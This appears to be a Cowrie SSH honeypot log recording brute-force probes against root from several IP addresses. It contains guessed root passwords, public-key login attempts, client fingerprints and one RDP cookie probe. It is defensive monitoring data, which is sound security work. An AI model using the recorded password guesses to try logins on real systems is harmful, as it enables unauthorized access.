{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:01.843673Z","src_ip":"170.106.191.31","session":"443edddd29eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:01.916199Z","src_ip":"170.106.191.31","session":"443edddd29eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3d4e5","message":"login attempt [root/a1b2c3d4e5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:02.220822Z","src_ip":"170.106.191.31","session":"443edddd29eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":17312,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb88df1f7e00","protocol":"ssh","message":"New connection: 102.88.137.213:17312 (10.17.0.5:22) [session: eb88df1f7e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:02.851464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:02.856892Z","src_ip":"102.88.137.213","session":"eb88df1f7e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:03.036530Z","src_ip":"102.88.137.213","session":"eb88df1f7e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:03.291384Z","src_ip":"170.106.191.31","session":"443edddd29eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig00","message":"login attempt [root/K0nig00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:03.782560Z","src_ip":"102.88.137.213","session":"eb88df1f7e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:04.966223Z","src_ip":"102.88.137.213","session":"eb88df1f7e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":47866,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6dc69603e6f","protocol":"ssh","message":"New connection: 94.159.98.239:47866 (10.17.0.5:22) [session: e6dc69603e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:30.924349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:31.103536Z","src_ip":"94.159.98.239","session":"e6dc69603e6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:31.107294Z","src_ip":"94.159.98.239","session":"e6dc69603e6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:32.262167Z","src_ip":"94.159.98.239","session":"e6dc69603e6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.38.102","src_port":6146,"dst_ip":"10.17.0.5","dst_port":22,"session":"2db99a363ac4","protocol":"ssh","message":"New connection: 62.210.38.102:6146 (10.17.0.5:22) [session: 2db99a363ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:33.432745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:33.437179Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:33.464629Z","src_ip":"94.159.98.239","session":"e6dc69603e6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:33.518893Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:09:65:fb:09:8e:17:a1:7d:6b:12:5f:3a:47:09:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCft9mL+OQqOtK6UNUJlAaa9rGWepGYzeQ8MXg4SGeYRVQSktO4zZZmQMrMVgYsHSDH1nDxphQrcyzXZwBjrnv2c+DpTNCEvIggP1GEId6laWyaN9FxQrvno4DMF7/kQGEcaEyUhPxePZcIGcKtGTI97AxqxC8kM0xdoqu9YaEcNMx951xH+tP5m/LIhk+odTFBSbDCeftAF1wdNkgE0IjZYLO8NstszZYOGL1gocakvoZ+3hZXET/QCsDYvy4fxtUKmj8Q4SKCSDKzLBsdGVkpuEaADlk8yEuwvCqRj7+VEkQ2nnl2Hsqy0iBSKO3A52LFPTt/Rd1Lw1LlEeUXFO33","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:09:65:fb:09:8e:17:a1:7d:6b:12:5f:3a:47:09:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:33.904973Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:09:65:fb:09:8e:17:a1:7d:6b:12:5f:3a:47:09:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCft9mL+OQqOtK6UNUJlAaa9rGWepGYzeQ8MXg4SGeYRVQSktO4zZZmQMrMVgYsHSDH1nDxphQrcyzXZwBjrnv2c+DpTNCEvIggP1GEId6laWyaN9FxQrvno4DMF7/kQGEcaEyUhPxePZcIGcKtGTI97AxqxC8kM0xdoqu9YaEcNMx951xH+tP5m/LIhk+odTFBSbDCeftAF1wdNkgE0IjZYLO8NstszZYOGL1gocakvoZ+3hZXET/QCsDYvy4fxtUKmj8Q4SKCSDKzLBsdGVkpuEaADlk8yEuwvCqRj7+VEkQ2nnl2Hsqy0iBSKO3A52LFPTt/Rd1Lw1LlEeUXFO33","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:33.908476Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:60:4f:8f:a1:fb:64:9f:39:c4:c7:ff:4f:bd:bb:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeSzSfFEiC3UDNEfQi87kd5mdddCAeeWvc5x/rkp8BnhkDJFq6OQs937usyc7xYB0eOzBYeFuTJfb3IDvCo1IYa5ZTWuWSV+yNIsxsDV1cGAnLD3t2Zs0mt5Sl07rRPDz5wxL3pznehd4sSPJigpJFZd/BLimGT+2yG8wXoU/DKRIYU1d24T/HvUY3JS1dOfVWMJ902fdlrCMkmDlQBYloEHFizQR+VKhhXaRbNJbMTQ7RfFq5n82awYmzMaJrAJ0514Wr/XlfUPEHBQO2D5ZI7DqvOuc92BU4MeZ6CKfI/if7p3gDkSp2bYVx7kw4uI1BPKjsqf64WinZ2lBqIdf4pMdCMMok9E13R3DMweyQfz3Q7cu7uWnkWqp3Xg305kxa0ynS2Did/axA+dqDFlAeLpjUVh1923SXd5bbFTwbvS3O5WNg548sYlqbEpDvhKpUOWk9AdNbRf+J0ql17Zeh0ugahefeuzEQ8l9y4ifIJyZ1ffEKCr3u0BlH45hXgZE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:60:4f:8f:a1:fb:64:9f:39:c4:c7:ff:4f:bd:bb:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:33.989826Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:60:4f:8f:a1:fb:64:9f:39:c4:c7:ff:4f:bd:bb:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeSzSfFEiC3UDNEfQi87kd5mdddCAeeWvc5x/rkp8BnhkDJFq6OQs937usyc7xYB0eOzBYeFuTJfb3IDvCo1IYa5ZTWuWSV+yNIsxsDV1cGAnLD3t2Zs0mt5Sl07rRPDz5wxL3pznehd4sSPJigpJFZd/BLimGT+2yG8wXoU/DKRIYU1d24T/HvUY3JS1dOfVWMJ902fdlrCMkmDlQBYloEHFizQR+VKhhXaRbNJbMTQ7RfFq5n82awYmzMaJrAJ0514Wr/XlfUPEHBQO2D5ZI7DqvOuc92BU4MeZ6CKfI/if7p3gDkSp2bYVx7kw4uI1BPKjsqf64WinZ2lBqIdf4pMdCMMok9E13R3DMweyQfz3Q7cu7uWnkWqp3Xg305kxa0ynS2Did/axA+dqDFlAeLpjUVh1923SXd5bbFTwbvS3O5WNg548sYlqbEpDvhKpUOWk9AdNbRf+J0ql17Zeh0ugahefeuzEQ8l9y4ifIJyZ1ffEKCr3u0BlH45hXgZE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:33.993426Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:d5:e0:59:10:b5:a4:78:65:23:41:e0:29:66:4f:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZT8/6XXFhb3GwBv1JJOVsmJ7vKQwTIlyZMQPrMLuhAB5O62rPY03kGKW/WsHCdCat5EDuFxlTqFdSjxD3bhFtPXLRV5KUcyJgMCAeB6ojvPByRaE//WG9QlzGbZPJuFgNeDTONDGTLyzdOEGfUZhH6YeXfO45kWnftC5ro4ramm5hfXfxPqvxCXbmG+cqr/N4XKUA8r3GVRBAlw88csTiPSgL+PkKfF/EqeBBFU9fpTzwKo9v+aFlyEkYDwTy5QzMS6KQDexJDxhn+JWhI4sG4zeMfdEyC3DKXK/Vxm5cGfRLQCDc/Yf84B+gRAgDDo3j4171knPgFOssn1IxBZW5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:d5:e0:59:10:b5:a4:78:65:23:41:e0:29:66:4f:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:34.077700Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:d5:e0:59:10:b5:a4:78:65:23:41:e0:29:66:4f:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZT8/6XXFhb3GwBv1JJOVsmJ7vKQwTIlyZMQPrMLuhAB5O62rPY03kGKW/WsHCdCat5EDuFxlTqFdSjxD3bhFtPXLRV5KUcyJgMCAeB6ojvPByRaE//WG9QlzGbZPJuFgNeDTONDGTLyzdOEGfUZhH6YeXfO45kWnftC5ro4ramm5hfXfxPqvxCXbmG+cqr/N4XKUA8r3GVRBAlw88csTiPSgL+PkKfF/EqeBBFU9fpTzwKo9v+aFlyEkYDwTy5QzMS6KQDexJDxhn+JWhI4sG4zeMfdEyC3DKXK/Vxm5cGfRLQCDc/Yf84B+gRAgDDo3j4171knPgFOssn1IxBZW5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:34.081253Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:26:44:ff:2a:2a:6d:22:c2:7b:b4:bd:47:e6:66:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHqvulip2ee1oChoEttqfTcHmzp5UuvmPiOqypnEgFgSd5vPd+N1QyQQHmgEYprWfKYD6UXOtNLqQAilAyPGa2E1R8PcXG4ug3XntWnL6qhAX85yUW/iLReL+foqH6h+D5mmYh3rbg7ZQJB1WRVFKGUHHqqVuz34v14RlcC2Oalwsnk56juMF3aPt08mKu2fBHovQS4y6I8Kw7yP/mrj5GU01d1yDOMexy9JbF+9autUAiWk9u8xjSG6v2If+0qNJR8lSQOULrIFWoYMJ1R/0c2pQMWsbeNJqB1aZ3xZhXn9CjkI01W+Mx5wNJsk4+Z5wpF1i9em8f6vW8+JAm0wqnoLP/3Tq23PYIO2oAQ9NbEmTtdhno8XW6+2RTUeaAPxjiMA7P7lLx7/E8sPifsZf1XuFJV8ZkAmP5UEq6GDMpf8NNJZatI444u/9dfKioNccOyetc97dh7TjXTv4hFp4sDq9jDutvNpyReI5PPP0SLvt0FWXbZj3sq/88v0nUlpiharPrFqc69+a2vtEh5Pto1cV8Hw6IbsbPDzpTxQ5SFqa82BrZA+LXvuHxalr7ipyL+fzwtR22vWyEqB1jppHvuBlklvEUObVX6oAAxGXQaVukUERsHr2lz5W7Z/XfO6Gwlcky/Pcl6QF6M7iT3xwtmvTAt+wezm58a2PnLnpPbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:26:44:ff:2a:2a:6d:22:c2:7b:b4:bd:47:e6:66:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:34.162571Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:26:44:ff:2a:2a:6d:22:c2:7b:b4:bd:47:e6:66:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHqvulip2ee1oChoEttqfTcHmzp5UuvmPiOqypnEgFgSd5vPd+N1QyQQHmgEYprWfKYD6UXOtNLqQAilAyPGa2E1R8PcXG4ug3XntWnL6qhAX85yUW/iLReL+foqH6h+D5mmYh3rbg7ZQJB1WRVFKGUHHqqVuz34v14RlcC2Oalwsnk56juMF3aPt08mKu2fBHovQS4y6I8Kw7yP/mrj5GU01d1yDOMexy9JbF+9autUAiWk9u8xjSG6v2If+0qNJR8lSQOULrIFWoYMJ1R/0c2pQMWsbeNJqB1aZ3xZhXn9CjkI01W+Mx5wNJsk4+Z5wpF1i9em8f6vW8+JAm0wqnoLP/3Tq23PYIO2oAQ9NbEmTtdhno8XW6+2RTUeaAPxjiMA7P7lLx7/E8sPifsZf1XuFJV8ZkAmP5UEq6GDMpf8NNJZatI444u/9dfKioNccOyetc97dh7TjXTv4hFp4sDq9jDutvNpyReI5PPP0SLvt0FWXbZj3sq/88v0nUlpiharPrFqc69+a2vtEh5Pto1cV8Hw6IbsbPDzpTxQ5SFqa82BrZA+LXvuHxalr7ipyL+fzwtR22vWyEqB1jppHvuBlklvEUObVX6oAAxGXQaVukUERsHr2lz5W7Z/XfO6Gwlcky/Pcl6QF6M7iT3xwtmvTAt+wezm58a2PnLnpPbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:34.166440Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:fc:23:3a:5d:14:fc:d8:33:7e:0f:04:c3:d4:e1:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAb3BjrcWFR5pzatPTqf4lpPXVa2GBvjF6787y9mKKQqFPslh/m0s6oZe2RZpdvim4FBv7Et2yXLcLLyQYmbSS7b0+XSi+BH4sdyZg3AsxZerS8Zbmz5ABsB5doSktYK0C+CZAmVBBWI0NzgLDv4PhnuNhXw6tIBYv5xafF2UPPpwhqjpgMTPi5ZWu9NlEIvh6zvqHEKi/1IC4vBb+hM/kQs0gsEIdVo6/KlQvIW48JVNJ7Ml+Of3ZJhIqn0YKtqBE5m8Z3gtBet0QxVSDfDl3WMXSyoKOK32wjxSCMGktWfzin5CRVMa+oivBnl3eO01Z1syMz2st73MQklC+/I7z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:fc:23:3a:5d:14:fc:d8:33:7e:0f:04:c3:d4:e1:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:34.248227Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:fc:23:3a:5d:14:fc:d8:33:7e:0f:04:c3:d4:e1:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAb3BjrcWFR5pzatPTqf4lpPXVa2GBvjF6787y9mKKQqFPslh/m0s6oZe2RZpdvim4FBv7Et2yXLcLLyQYmbSS7b0+XSi+BH4sdyZg3AsxZerS8Zbmz5ABsB5doSktYK0C+CZAmVBBWI0NzgLDv4PhnuNhXw6tIBYv5xafF2UPPpwhqjpgMTPi5ZWu9NlEIvh6zvqHEKi/1IC4vBb+hM/kQs0gsEIdVo6/KlQvIW48JVNJ7Ml+Of3ZJhIqn0YKtqBE5m8Z3gtBet0QxVSDfDl3WMXSyoKOK32wjxSCMGktWfzin5CRVMa+oivBnl3eO01Z1syMz2st73MQklC+/I7z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:34.251500Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:34.331574Z","src_ip":"62.210.38.102","session":"2db99a363ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60395,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6a55871ecab","protocol":"ssh","message":"New connection: 152.42.212.128:60395 (159.203.135.109:22) [session: b6a55871ecab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:55.650730Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:55.655420Z","src_ip":"152.42.212.128","session":"b6a55871ecab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:55.659138Z","src_ip":"152.42.212.128","session":"b6a55871ecab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":37706,"dst_ip":"10.17.0.5","dst_port":22,"session":"3027ad7f263e","protocol":"ssh","message":"New connection: 103.115.56.3:37706 (10.17.0.5:22) [session: 3027ad7f263e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:57.564945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:57.569781Z","src_ip":"103.115.56.3","session":"3027ad7f263e","protocol":"ssh"}
